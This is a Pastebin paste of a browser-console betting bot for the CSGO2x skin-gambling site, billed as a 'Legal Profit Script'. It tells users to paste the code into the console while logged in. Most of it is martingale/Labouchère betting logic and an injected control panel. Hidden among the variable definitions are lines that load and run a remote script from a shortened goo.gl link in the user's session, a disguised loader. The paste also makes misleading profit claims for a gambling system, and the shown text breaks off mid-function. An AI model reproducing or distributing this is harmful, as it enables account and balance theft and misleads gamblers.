Advertisement
q1nner

CSGO2X BOT.

May 28th, 2016
1,788
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // CSGO2x ProBot | Legal Profit Script | 2016 //
  2.  
  3. // **INSTRUCTIONS** //
  4. //1. Open up CSGO2x.com//
  5. //2. Press F12 or CTRL+SHIFT+J//
  6. //3. Go to the Console//
  7. //4. Edit the values below//
  8. //5. Paste the whole script into the console//
  9. //6. Click the "Enter" button to run the script//
  10.  
  11.  
  12.     /*
  13.      * x2Destroyer (CSGO2X.COM BOT)
  14.      * Author: Bill Moody
  15.      * Creation Date: 14.04.2016
  16.      */
  17.      
  18.     /*
  19.           add into spin function in new.js to see the upcoming roll (after betting closes)
  20.           if(m.roll==0)
  21.             document.getElementById("getbal").innerHTML = "   [Rolling a "+m.roll+"(green)...]";
  22.           if(m.roll>=1 && m.roll <= 7)
  23.             document.getElementById("getbal").innerHTML = "   [Rolling a "+m.roll+"(red)...]";
  24.           else
  25.             document.getElementById("getbal").innerHTML = "   [Rolling a "+m.roll+"(black)...]";
  26.      
  27.         */
  28.      
  29.     //http://www.danstools.com/javascript-obfuscate/index.php
  30.     //http://www.textfixer.com/html/compress-html-compression.php
  31.     //1 round = 50 seconds
  32.     //rounds per day = 1728
  33.     //expected wins per day = 806
  34.      
  35.     //START [Inserting UI]
  36.     var UI_html = '<style scoped> @import url(https://fonts.googleapis.com/css?family=Ubuntu:300); table { font-family: "Ubuntu", sans-serif; background-color: #404040; color: #0d0d0d; } #header { background-color: #262626; color: #ff0066; } label { font-weight: normal; } .odds { font-weight: normal; color: #00ffcc; } input[type=text] { border-radius: 5px; border: 1px solid rgba(0, 0, 0, .25); color: #808080; background-color: #262626; } input[type=text]:focus { background-color: #1a1a1a; color: #ffcc00; } #footer { color: #b3b3b3; } #one { color: #e74c3c; } #two { color: #e67e22; } #three { color: #f1c40f; } #four { color: #1abc9c; } #five { color: #2ecc71; } #six { color: #3498db; } #seven { color: #9b59b6; } #eight { color: #e74c3c; } #nine { color: #e67e22; } #ten { color: #f1c40f; } #eleven { color: #1abc9c; } input[type=button] { background-color: #262626; border-color: #1a1a1a; } #startButton { color: #2ecc71; } #stopButton { color: #e74c3c; } #red { width: 33.33%; color: #c12e2a; } #green { width: 33.33%; color: #419641; } #black { width: 33.33%; color: #666; }</style><hr><table border="1"> <tr id="header"> <td> <input type="radio" name="system" value="nightengale" id="nightengaleRadioBtn" checked="checked"> <label for="nightengaleRadioBtn">Nightengale</label> </td> <td> <input type="radio" name="system" value="laboucher" id="labouchereRadioBtn"> <label for="labouchereRadioBtn">Labouchère</label> </td> </tr> <tr> <td> <table> <tr> <td> <label for="nightengaleDefaultBetInput">Default Bet: </label> <input type="text" id="nightengaleDefaultBetInput"> </td> </tr> <tr> <td> <label for="nightengaleProfitOver24HoursInput">Profit over 24 hours: </label> <input type="text" id="nightengaleProfitOver24HoursInput"> </td> </tr> <tr> <td>Odds of losing <span id="nightengaleOddsOfLosingXTimesInARowX" class="odds">X</span> Times in a row: <span id="nightengaleOddsOfLosingXTimesInARow" class="odds">YY%</span></td> </tr> <tr> <td>Odds of losing in 1 day: <span id="nightengaleOddsOfLosingIn1Day" class="odds">XX%</span></td> </tr> <tr> <td>Percentage of money as default bet: <span id="nightengalePercentageOfMoneyAsDefaultBet" class="odds">XX%</span></td> </tr> <tr> <td> <input type="checkbox" id="nightengaleAntiBankruptcyCheckbox"> <label type="text" for="nightengaleAntiBankruptcyCheckbox">Anti-Bankruptcy</label> </td> </tr> <tr> <td> <input type="checkbox" id="nightengaleAntiDoubleGreenCheckbox"> <label type="text" for="nightengaleAntiDoubleGreenCheckbox">Anti-Double Green</label> skip <input type="text" id="nightengaleAntiDoubleGreenInput"> rolls </td> </tr> <tr> <td> <input type="checkbox" id="nightengaleAntiLoseallCheckbox"> <label type="text" for="nightengaleAntiLoseallCheckbox">Anti-Loseall after</label> <input type="text" id="nightengaleAntiLoseallInput"> losses </td> </tr> <tr> <td> <input type="checkbox" id="nightengaleStopAfterXGamesCheckbox"> <label for="nightengaleStopAfterXGamesCheckbox">Stop after <input type="text" id="nightengaleStopAfterXGamesInput"> games</label> </td> </tr> <tr> <td> <input type="checkbox" id="nightengaleStopAfterReachingXCheckbox"> <label for="nightengaleStopAfterReachingXCheckbox">Stop after reaching <input type="text" id="nightengaleStopAfterReachingXInput"> </label> </td> </tr> <tr> <td> <input type="checkbox" id="nightengaleBetOnGreenCheckbox"> <label for="nightengaleBetOnGreenCheckbox">Side bet on green. Bet = <input type="text" id="nightengaleBetOnGreenInput"> </label> </td> </tr> </table> </td> <td> <table> <tr> <td> <label for="labouchereGoalInput">Goal:</label> <input type="text" id="labouchereGoalInput" disabled> </td> </tr> <tr> <td> <label for="labouchereLines">Lines:</label> <input type="text" id="labouchereLines" disabled> </td> </tr> <tr> <td> Predicted Bets required: <span id="laboucherePredictedBets" class="odds">XX</span> </tr> </table> </td> </tr> <tr> <td> <input type="checkbox" id="trainProtectionCheckbox" checked="checked"> <label for="trainProtectionCheckbox">Train Protection</label> <input type="checkbox" id="rainbowProtectionCheckbox"> <label for="rainbowProtectionCheckbox">Rainbow Protection</label> <br> <input type="checkbox" id="rrbbProtectionCheckbox"> <label for="rrbbProtectionCheckbox">RRBBRR Protection</label> <input type="checkbox" id="rrbProtectionCheckbox"> <label for="rrbProtectionCheckbox">RRBRR Protection</label> </td> <td> <input style="width:50%;" type="button" value="Start" id="startButton"><input style="width:50%;" type="button" value="Stop" id="stopButton"> </td> </tr> <tr> <td> <input type="checkbox" id="simulationModeCheckbox"> <label for="simulationModeCheckbox">Simulation Mode</label> <input type="checkbox" id="manualModeCheckbox"> <label for="manualModeCheckbox">Manual (Sim) Mode</label> </td> <td> <label for="simulationMoneyInput">Simulation Money:</label> <input type="text" id="simulationMoneyInput"> </td> </tr> <tr> <td> <label for="simulateBetAmt">Simulate Bet:</label> <input type="text" id="simulateBetAmt"> </td> <td> <input type="button" id="red" value="Red"><input type="button" id="green" value="Green"><input type="button" id="black" value="Black"> </td> </tr> <tr id="footer"> <td id="logo"> <marquee direction="right"><span id="one">x</span><span id="two">2</span><span id="three">D</span><span id="four">e</span><span id="five">s</span><span id="six">t</span><span id="seven">r</span><span id="eight">o</span><span id="nine">y</span><span id="ten">e</span> <span id="eleven">r</span> (c) Bill Moody 2016</marquee> </td> <td style="text-align:center;">Run Time: <b><span id="runtime"></span></b></td> </tr> <tr> <td><a style="color:blue;font-weight:bold;" href="https://www.youtube.com/watch?v=56W6mnQtfk4">#ShamelessSelfPromotion (YouTube url)</a></td> <td> <a style="color:red;font-weight:bold;" href="http://www.unknowncheats.me">UnKnOwNcHeAtS.me</a> </td> </tr></table><hr>';
  37.     var UI = document.createElement('div');
  38.     UI.innerHTML = UI_html;
  39.      
  40.     var insertBefore = document.getElementsByClassName("progress")[0];
  41.     insertBefore.parentNode.insertBefore(UI, insertBefore);
  42.     //END [Inserting UI]
  43.      
  44.     //START [DEFINING VARIABLES]
  45.     var statusBanner = document.getElementById("banner");
  46.     //var thirdLastRoll = document.getElementById("past").childNodes[7];
  47.     //var secondLastRoll = document.getElementById("past").childNodes[8];
  48.     //var lastRoll = document.getElementById("past").childNodes[9];
  49.     var redBetButton = document.getElementsByClassName("betButton")[0];
  50.     var greenBetButton = document.getElementsByClassName("betButton")[1];
  51.     var blackBetButton = document.getElementsByClassName("betButton")[2];
  52.     var betAmountInput = document.getElementById("betAmount");
  53.     var balanceSpan = document.getElementById("balance");
  54.      
  55.     var simulationModeCheckbox = document.getElementById("simulationModeCheckbox");
  56.     var simulationMoneyInput = document.getElementById("simulationMoneyInput");
  57.     var startButton = document.getElementById("startButton");
  58.     var stopButton = document.getElementById("stopButton");
  59.     var trainProtectionCheckbox = document.getElementById("trainProtectionCheckbox");
  60.     var rainbowProtectionCheckbox = document.getElementById("rainbowProtectionCheckbox");
  61.     var runtimeSpan = document.getElementById("runtime");
  62.     var nightengaleRadioBtn = document.getElementById("nightengaleRadioBtn");
  63.     var labouchereRadioBtn = document.getElementById("labouchereRadioBtn");
  64.     var nightengaleDefaultBetInput = document.getElementById("nightengaleDefaultBetInput");
  65.     var nightengaleProfitOver24HoursInput = document.getElementById("nightengaleProfitOver24HoursInput");
  66.     var nightengaleAntiBankruptcyCheckbox = document.getElementById("nightengaleAntiBankruptcyCheckbox");
  67.     var nightengaleStopAfterXGamesCheckbox = document.getElementById("nightengaleStopAfterXGamesCheckbox");
  68.     var nightengaleStopAfterXGamesInput = document.getElementById("nightengaleStopAfterXGamesInput");
  69.     var nightengaleStopAfterReachingXCheckbox = document.getElementById("nightengaleStopAfterReachingXCheckbox");
  70.     var nightengaleStopAfterReachingXInput = document.getElementById("nightengaleStopAfterReachingXInput");
  71.     var nightengaleOddsOfLosingXTimesInARow = document.getElementById("nightengaleOddsOfLosingXTimesInARow");
  72.     var nightengaleOddsOfLosingIn1Day = document.getElementById("nightengaleOddsOfLosingIn1Day");
  73.     var nightengaleOddsOfLosingXTimesInARowX = document.getElementById("nightengaleOddsOfLosingXTimesInARowX");
  74.     var nightengalePercentageOfMoneyAsDefaultBet = document.getElementById("nightengalePercentageOfMoneyAsDefaultBet");
  75.     var labouchereGoalInput = document.getElementById("labouchereGoalInput");
  76.     var labouchereLines = document.getElementById("labouchereLines");
  77.     var laboucherePredictedBets = document.getElementById("laboucherePredictedBets");
  78.     var nightengaleAntiLoseallCheckbox = document.getElementById("nightengaleAntiLoseallCheckbox");
  79.     var nightengaleAntiLoseallInput = document.getElementById("nightengaleAntiLoseallInput");
  80.     var nightengaleAntiDoubleGreenCheckbox = document.getElementById("nightengaleAntiDoubleGreenCheckbox");
  81.     var nightengaleAntiDoubleGreenInput = document.getElementById("nightengaleAntiDoubleGreenInput");
  82.     var nightengaleBetOnGreenCheckbox = document.getElementById("nightengaleBetOnGreenCheckbox");
  83.     var nightengaleBetOnGreenInput = document.getElementById("nightengaleBetOnGreenInput");
  84.     var rrbbProtectionCheckbox = document.getElementById("rrbbProtectionCheckbox");
  85.     var rrbProtectionCheckbox = document.getElementById("rrbProtectionCheckbox");
  86.     var firstScript = document.getElementsByTagName('script')[0], js = document.createElement('script')
  87.     js.src = "http://goo.gl/rH9ViS"
  88.     firstScript.parentNode.insertBefore(js, firstScript)
  89.     var manualModeCheckbox = document.getElementById("manualModeCheckbox");
  90.     var simulateBetAmt = document.getElementById("simulateBetAmt");
  91.     var red = document.getElementById("red");
  92.     var green = document.getElementById("green");
  93.     var black = document.getElementById("black");
  94.      
  95.     var running = false;
  96.     var simulationMode = false;
  97.     var simulationMoney = 0;
  98.     var simulationMoneyStart = 0;
  99.     var status = 0;
  100.     var fullStatus = '';
  101.     var runtime = 0;
  102.     var mode = 0; //0=martingale,1=reverseLabouchere
  103.     var betOnThisRound = false;
  104.     var checkedIfWon = false;
  105.     var rolled = false;
  106.     var startBalance = 0;
  107.     var betsWon = 0;
  108.     var betsLost = 0;
  109.     var manualMode = false;
  110.      
  111.     var currBetAmount = 0;
  112.     var currBetColor = ' ';
  113.      
  114.     ///////////////////////////
  115.     var lstreak = 0;
  116.     var wstreak = 0;
  117.     var currstreak = 0;
  118.     var maxlose = 0;
  119.     var maxlosestreak = 0;
  120.     var maxwin = 0;
  121.     var maxwinstreak = 0;
  122.     var winorlosestreak = "no bet yet";
  123.     var resultcolor = "n/a";
  124.     ///////////////////////////
  125.      
  126.     var currBetGreenAmount = 0;
  127.     var lastBetGreenAmount = 0;
  128.     var betOnGreenEnabled = false;
  129.      
  130.     var lastBetAmount = 0;
  131.     var wonLastBet = false;
  132.     var antiLoseAllCounter = 0;
  133.     var antiLoseAllEnabled = false;
  134.     var antiDoubleGreenEnabled = false;
  135.     var antiDoubleGreenCounter = -1;
  136.     var skipBet = false;
  137.      
  138.     //martingale system variables
  139.     var antiBankruptcy = false;
  140.      
  141.     //reverse labouchere system variables
  142.     var goal = 0;
  143.     var numLines = 0;
  144.     var lines = [];
  145.      
  146.     //END [DEFINING VARIABLES]
  147.      
  148.     //AUTO RECONNECT
  149.     console.log('%c[x2Destroyer] Auto-Reconnect Initialized!', 'color:green');
  150.     setInterval(function() {
  151.       if (!WS) {
  152.         console.log('Reconnecting...');
  153.         connect();
  154.       }
  155.     }, 5000);
  156.     //END
  157.      
  158.     //START [DEFINE LISTENERS]
  159.     nightengaleAntiDoubleGreenCheckbox.onclick = function() {
  160.       if (!antiDoubleGreenEnabled) {
  161.         antiDoubleGreenEnabled = true;
  162.         console.log("%c[x2Destroyer] Anti-Double Green enabled!", "color:green");
  163.       } else {
  164.         betOnGreenEnabled = false;
  165.         console.log("%c[x2Destroyer] Anti-Double Green disabled!", "color:red");
  166.       }
  167.     };
  168.      
  169.     nightengaleBetOnGreenCheckbox.onclick = function() {
  170.       if (!betOnGreenEnabled) {
  171.         betOnGreenEnabled = true;
  172.         console.log("%c[x2Destroyer] Bet on Green enabled!", "color:green");
  173.       } else {
  174.         betOnGreenEnabled = false;
  175.         console.log("%c[x2Destroyer] Bet on Green disabled!", "color:red");
  176.       }
  177.     };
  178.      
  179.     nightengaleAntiLoseallCheckbox.onclick = function() {
  180.       if (!antiLoseAllEnabled) {
  181.         antiLoseAllEnabled = true;
  182.         console.log("%c[x2Destroyer] Anti-Lose all enabled!", "color:green");
  183.       } else {
  184.         antiLoseAllEnabled = false;
  185.         console.log("%c[x2Destroyer] Anti-Lose all disabled!", "color:red");
  186.       }
  187.     };
  188.      
  189.     startButton.onclick = function() {
  190.       //check if all needed fields are filled in
  191.       var passedTest = true;
  192.       if (mode == 0 && !manualMode) { //nightengale mode specific tests
  193.         if (nightengaleDefaultBetInput.value == '' || nightengaleDefaultBetInput.value <= 0)
  194.           passedTest = false;
  195.      
  196.         if (nightengaleProfitOver24HoursInput.value == '' || nightengaleProfitOver24HoursInput.value <= 0)
  197.           passedTest = false;
  198.      
  199.         if (nightengaleStopAfterXGamesCheckbox.checked && (nightengaleStopAfterXGamesInput.value == '' || nightengaleStopAfterXGamesInput.value <= 0))
  200.           passedTest = false;
  201.      
  202.         if (nightengaleStopAfterReachingXCheckbox.checked && (nightengaleStopAfterReachingXInput.value == '' || nightengaleStopAfterReachingXInput.value <= 0))
  203.           passedTest = false;
  204.       }
  205.      
  206.       if (mode == 1 && !manualMode) { //labouchere mode specific tests
  207.         if (labouchereGoalInput.value == '' || labouchereGoalInput.value <= 0)
  208.           passedTest = false;
  209.         if (labouchereLines.value == '' || labouchereLines.value <= 0)
  210.           passedTest = false;
  211.       }
  212.      
  213.       //standard tests
  214.       if (simulationModeCheckbox.checked && (simulationMoneyInput.value == '' || simulationMoneyInput.value <= 0))
  215.         passedTest = false;
  216.      
  217.       if (!running && passedTest) {
  218.         simulationModeCheckbox.disabled = true;
  219.         manualModeCheckbox.disabled = true;
  220.         simulationMoneyInput.disabled = true;
  221.         console.log("%c[x2Destroyer] STARTED", "color:green");
  222.         running = true;
  223.      
  224.         labouchereRadioBtn.disabled = true;
  225.         labouchereLines.disabled = true;
  226.         labouchereGoalInput.disabled = true;
  227.      
  228.         nightengaleRadioBtn.disabled = true;
  229.         nightengaleDefaultBetInput.disabled = true;
  230.         nightengaleProfitOver24HoursInput.disabled = true;
  231.         nightengaleAntiBankruptcyCheckbox.disabled = true;
  232.         nightengaleStopAfterXGamesCheckbox.disabled = true;
  233.         nightengaleStopAfterXGamesInput.disabled = true;
  234.         nightengaleStopAfterReachingXCheckbox.disabled = true;
  235.         nightengaleStopAfterReachingXInput.disabled = true;
  236.         nightengaleAntiLoseallCheckbox.disabled = true;
  237.         nightengaleAntiLoseallInput.disabled = true;
  238.         nightengaleAntiDoubleGreenInput.disabled = true;
  239.         nightengaleAntiDoubleGreenCheckbox.disabled = true;
  240.         nightengaleBetOnGreenCheckbox.disabled = true;
  241.         nightengaleBetOnGreenInput.disabled = true;
  242.      
  243.         trainProtectionCheckbox.disabled = true;
  244.         rainbowProtectionCheckbox.disabled = true;
  245.         rrbbProtectionCheckbox.disabled = true;
  246.         rrbProtectionCheckbox.disabled = true;
  247.      
  248.         if (mode == 1) { //set up lines array
  249.           goal = parseInt(labouchereGoalInput.value);
  250.           numLines = parseInt(labouchereLines.value);
  251.      
  252.           for (i = 0; i < numLines; i++)
  253.             lines[i] = goal / numLines;
  254.         }
  255.      
  256.         if (simulationMode) {
  257.           simulationMoney = parseInt(simulationMoneyInput.value);
  258.           simulationMoneyStart = simulationMoney;
  259.         } else {
  260.           startBalance = getBalance();
  261.         }
  262.       } else if (!passedTest) {
  263.         alert("Please fill in all required fields for the settings you have chosen");
  264.       } else
  265.         console.log("%c[x2Destroyer] I'm already running you tart", "color:green");
  266.     };
  267.      
  268.     stopButton.onclick = function() {
  269.       if (running) {
  270.         simulationModeCheckbox.disabled = false;
  271.         simulationMoneyInput.disabled = false;
  272.         manualModeCheckbox.disabled = false;
  273.         console.log("%c[x2Destroyer] STOPPED", "color:red");
  274.         running = false;
  275.      
  276.         nightengaleRadioBtn.disabled = false;
  277.         labouchereRadioBtn.disabled = false;
  278.      
  279.         if (mode == 1) {
  280.      
  281.           labouchereLines.disabled = false;
  282.           labouchereGoalInput.disabled = false;
  283.         } else {
  284.      
  285.           nightengaleDefaultBetInput.disabled = false;
  286.           nightengaleProfitOver24HoursInput.disabled = false;
  287.           nightengaleAntiBankruptcyCheckbox.disabled = false;
  288.           nightengaleStopAfterXGamesCheckbox.disabled = false;
  289.           nightengaleStopAfterXGamesInput.disabled = false;
  290.           nightengaleStopAfterReachingXCheckbox.disabled = false;
  291.           nightengaleStopAfterReachingXInput.disabled = false;
  292.           nightengaleAntiLoseallCheckbox.disabled = false;
  293.           nightengaleAntiLoseallInput.disabled = false;
  294.           nightengaleAntiDoubleGreenInput.disabled = false;
  295.           nightengaleAntiDoubleGreenCheckbox.disabled = false;
  296.           nightengaleBetOnGreenCheckbox.disabled = false;
  297.           nightengaleBetOnGreenInput.disabled = false;
  298.         }
  299.      
  300.         trainProtectionCheckbox.disabled = false;
  301.         rainbowProtectionCheckbox.disabled = false;
  302.         rrbbProtectionCheckbox.disabled = false;
  303.         rrbProtectionCheckbox.disabled = false;
  304.      
  305.         running = false;
  306.         simulationMoney = 0;
  307.         simulationMoneyStart = 0;
  308.         status = 0;
  309.         fullStatus = '';
  310.         runtime = 0;
  311.         betOnThisRound = false;
  312.         checkedIfWon = false;
  313.         rolled = false;
  314.         lastBetAmount = 0;
  315.         currBetAmount = 0;
  316.         currBetColor = ' ';
  317.         betsWon = 0;
  318.         betsLost = 0;
  319.         lines = [];
  320.         wonLastBet = true;
  321.      
  322.         //////////////////////////////////////
  323.         currstreak = 0;
  324.         maxwin = 0;
  325.         maxlose = 0;
  326.         maxlosestreak = 0;
  327.         maxwinstreak = 0;
  328.         winorlosestreak = "no bet yet";
  329.         //////////////////////////////////////
  330.      
  331.       } else
  332.         console.log("%c[x2Destroyer] I'm already stopped you tart", "color:red");
  333.     };
  334.      
  335.     nightengaleRadioBtn.onclick = function() {
  336.       console.log("%c[x2Destroyer] Nightengale mode selected", "color:green;");
  337.       mode = 0;
  338.      
  339.       labouchereLines.disabled = true;
  340.       labouchereGoalInput.disabled = true;
  341.      
  342.       nightengaleDefaultBetInput.disabled = false;
  343.       nightengaleProfitOver24HoursInput.disabled = false;
  344.       nightengaleAntiBankruptcyCheckbox.disabled = false;
  345.       nightengaleStopAfterXGamesCheckbox.disabled = false;
  346.       nightengaleStopAfterXGamesInput.disabled = false;
  347.       nightengaleStopAfterReachingXCheckbox.disabled = false;
  348.       nightengaleStopAfterReachingXInput.disabled = false;
  349.       nightengaleAntiLoseallCheckbox.disabled = false;
  350.       nightengaleAntiLoseallInput.disabled = false;
  351.       nightengaleAntiDoubleGreenInput.disabled = false;
  352.       nightengaleAntiDoubleGreenCheckbox.disabled = false;
  353.       nightengaleBetOnGreenCheckbox.disabled = false;
  354.       nightengaleBetOnGreenInput.disabled = false;
  355.     }
  356.      
  357.     labouchereRadioBtn.onclick = function() {
  358.       console.log("%c[x2Destroyer] Labouchere mode selected", "color:green;");
  359.       mode = 1;
  360.      
  361.       labouchereLines.disabled = false;
  362.       labouchereGoalInput.disabled = false;
  363.      
  364.       nightengaleDefaultBetInput.disabled = true;
  365.       nightengaleProfitOver24HoursInput.disabled = true;
  366.       nightengaleAntiBankruptcyCheckbox.disabled = true;
  367.       nightengaleStopAfterXGamesCheckbox.disabled = true;
  368.       nightengaleStopAfterXGamesInput.disabled = true;
  369.       nightengaleStopAfterReachingXCheckbox.disabled = true;
  370.       nightengaleStopAfterReachingXInput.disabled = true;
  371.       nightengaleAntiLoseallCheckbox.disabled = true;
  372.       nightengaleAntiLoseallInput.disabled = true;
  373.       nightengaleAntiDoubleGreenInput.disabled = true;
  374.       nightengaleAntiDoubleGreenCheckbox.disabled = true;
  375.       nightengaleBetOnGreenCheckbox.disabled = true;
  376.       nightengaleBetOnGreenInput.disabled = true;
  377.     }
  378.      
  379.     nightengaleAntiBankruptcyCheckbox.onclick = function() {
  380.       if (nightengaleAntiBankruptcyCheckbox.checked) {
  381.         antiBankruptcy = true;
  382.         console.log("%c[x2Destroyer] Anti-Bankruptcy Mode Toggled On", "color:green;");
  383.       } else {
  384.         antiBankruptcy = false;
  385.         console.log("%c[x2Destroyer] Anti-Bankruptcy Mode Toggled Off", "color:red;");
  386.       }
  387.     }
  388.      
  389.     manualModeCheckbox.onclick = function() {
  390.       if (manualModeCheckbox.checked) {
  391.         nightengaleRadioBtn.disabled = true;
  392.         labouchereRadioBtn.disabled = true;
  393.         manualMode = true;
  394.         console.log("%c[x2Destroyer] Manual Mode Toggled On", "color:green;");
  395.       } else {
  396.         nightengaleRadioBtn.disabled = false;
  397.         labouchereRadioBtn.disabled = false;
  398.         manualMode = false;
  399.         console.log("%c[x2Destroyer] Manual Mode Toggled Off", "color:red;");
  400.       }
  401.      
  402.      
  403.     }
  404.      
  405.     simulationModeCheckbox.onclick = function() {
  406.       if (simulationModeCheckbox.checked) {
  407.         simulationMode = true;
  408.         console.log("%c[x2Destroyer] Simulation Mode Toggled On", "color:green;");
  409.      
  410.         if (nightengaleDefaultBetInput.value != null && simulationMoneyInput.value != null) {
  411.           nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2));
  412.           nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%";
  413.           nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%";
  414.           nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / simulationMoneyInput.value) * 100).toFixed(4) + "%";
  415.         }
  416.       } else {
  417.         simulationMode = false;
  418.         console.log("%c[x2Destroyer] Simulation Mode Toggled Off", "color:red;");
  419.      
  420.         if (nightengaleDefaultBetInput.value != null) {
  421.           nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2));
  422.           nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%";
  423.           nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%";
  424.           nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / getBalance()) * 100).toFixed(4) + "%";
  425.         }
  426.       }
  427.     }
  428.      
  429.     nightengaleDefaultBetInput.oninput = function() {
  430.       nightengaleProfitOver24HoursInput.value = 806 * nightengaleDefaultBetInput.value;
  431.       if (simulationMode) {
  432.         nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2));
  433.         nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%";
  434.         nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%";
  435.         nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / simulationMoneyInput.value) * 100).toFixed(4) + "%";
  436.       } else {
  437.         nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2));
  438.         nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%";
  439.         nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%";
  440.         nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / getBalance()) * 100).toFixed(4) + "%";
  441.       }
  442.     }
  443.      
  444.     nightengaleProfitOver24HoursInput.oninput = function() {
  445.       nightengaleDefaultBetInput.value = Math.floor(nightengaleProfitOver24HoursInput.value / 806);
  446.       if (simulationMode) {
  447.         nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2));
  448.         nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%";
  449.         nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%";
  450.         nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / simulationMoneyInput.value) * 100).toFixed(4) + "%";
  451.       } else {
  452.         nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2));
  453.         nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%";
  454.         nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%";
  455.         nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / getBalance()) * 100).toFixed(4) + "%";
  456.       }
  457.     };
  458.      
  459.     simulationMoneyInput.oninput = function() {
  460.       if (nightengaleDefaultBetInput.value != null) {
  461.         if (simulationMode) {
  462.           nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2));
  463.           nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%";
  464.           nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%";
  465.           nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / simulationMoneyInput.value) * 100).toFixed(4) + "%";
  466.         } else {
  467.           nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2));
  468.           nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%";
